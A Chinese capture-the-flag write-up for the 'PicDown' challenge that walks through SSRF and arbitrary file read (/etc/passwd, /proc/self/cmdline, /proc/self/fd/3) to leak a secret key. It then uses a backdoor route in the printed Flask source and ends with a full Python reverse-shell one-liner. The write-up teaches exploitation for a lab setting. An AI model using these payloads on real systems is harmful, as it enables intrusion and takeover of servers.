[网鼎杯 2020 白虎组]PicDown
考点:1、任意文件读取及Linux进程查看 2、python脚本反弹shell
进去之后在输入处随便输个啥,发现url有参数,猜测ssrf
page?url=http://www.baidu.com
返回了请求值,使用file
协议无果,就试了一下直接读取文件
page?url=/etc/passwd
读取成功,存在任意文件读取
非预期解
尝试直接读取/flag
预期解
尝试读取用于当前进程的启动命令
page?url=/proc/self/cmdline
接下来读取app.py
,获得源码
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
从路由/no_one_know_the_manager
可以看到,如果获得了SECRET_KEY
就可以获得shell了。读取/proc/self/fd/3
重点:这里打开了文件并没有关闭,这里就是漏洞利用点!!!fd目录下保存的文件都是以数字存储的,我们使用爆破可知在3
处有数据
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;
paeg?url=/proc/self/fd/3
至此获得了SECRET_KEY
/no_one_know_the_manager?key=lIZatnx0S3HWqem013h0YpU6cXK30sQRPwKEZr4e6FU=&shell=ls
但是发现shell执行的命令并不会返回结果,所以使用反弹shell
这里直接使用python脚本反弹
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
将该payload进行url全编码后即可成功反弹
这里我还专门看了一下search.html
的内容,就说为什么我使用file协议
并没有回显HACK ERROR!
。